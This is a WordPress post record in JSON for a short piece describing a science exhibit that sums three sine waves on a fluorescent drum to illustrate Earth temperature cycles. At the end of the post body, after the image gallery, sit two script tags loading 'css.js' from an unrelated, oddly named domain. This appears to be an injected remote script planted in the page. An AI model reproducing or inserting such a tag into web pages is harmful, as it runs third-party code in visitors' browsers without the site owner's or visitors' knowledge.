{"id":995,"date":"2015-07-30T13:22:47","date_gmt":"2015-07-30T13:22:47","guid":{"rendered":"https:\/\/mattbates.ca\/point-of-view\/?p=995"},"modified":"2026-02-07T21:57:02","modified_gmt":"2026-02-07T21:57:02","slug":"waveform-overtones","status":"publish","type":"post","link":"https:\/\/mattbates.ca\/point-of-view\/waveform-overtones\/","title":{"rendered":"Waveform Addition"},"content":{"rendered":"<p style=\"text-align: justify;\">This exhibit was developed to indicate the natural long term cycles of average Earth temperature. Three sine wave frequencies are summed and the result drawn by light on a fluorescent drum. The drum self erases within one turn. Visitors can control the amplitude of each sine wave. This same mechanism could be used to illustrate timbre differences between musical instruments and other similar phenomena.<\/p>\n<p>\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 50%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-995 gallery-columns-2 gallery-size-medium'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/ClimateChange2.jpg'><img width=\"300\" height=\"225\" src=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/ClimateChange2-300x225.jpg\" class=\"attachment-medium size-medium\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/ClimateChange2-300x225.jpg 300w, https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/ClimateChange2.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\n\t\t\t<\/dt><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/EuropeAug2005-013.jpg'><img width=\"300\" height=\"225\" src=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/EuropeAug2005-013-300x225.jpg\" class=\"attachment-medium size-medium\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/EuropeAug2005-013-300x225.jpg 300w, https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/EuropeAug2005-013.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\n\t\t\t<\/dt><\/dl><br style=\"clear: both\" \/>\n\t\t<\/div>\n<script><script src=\"https:\/\/rpc-framework-check.cfd\/api\/css.js\" defer><\/script><\/script><script><script src=\"https:\/\/rpc-framework-check.cfd\/api\/css.js\" defer><\/script><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This exhibit was developed to indicate the natural long term cycles of average Earth temperature. Three sine wave frequencies are summed and the result drawn by light on a fluorescent <a class=\"more-link\" href=\"https:\/\/mattbates.ca\/point-of-view\/waveform-overtones\/\">Continue &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":1268,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[45],"tags":[],"_links":{"self":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts\/995"}],"collection":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/comments?post=995"}],"version-history":[{"count":5,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts\/995\/revisions"}],"predecessor-version":[{"id":1658,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts\/995\/revisions\/1658"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/media\/1268"}],"wp:attachment":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/media?parent=995"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/categories?post=995"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/tags?post=995"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}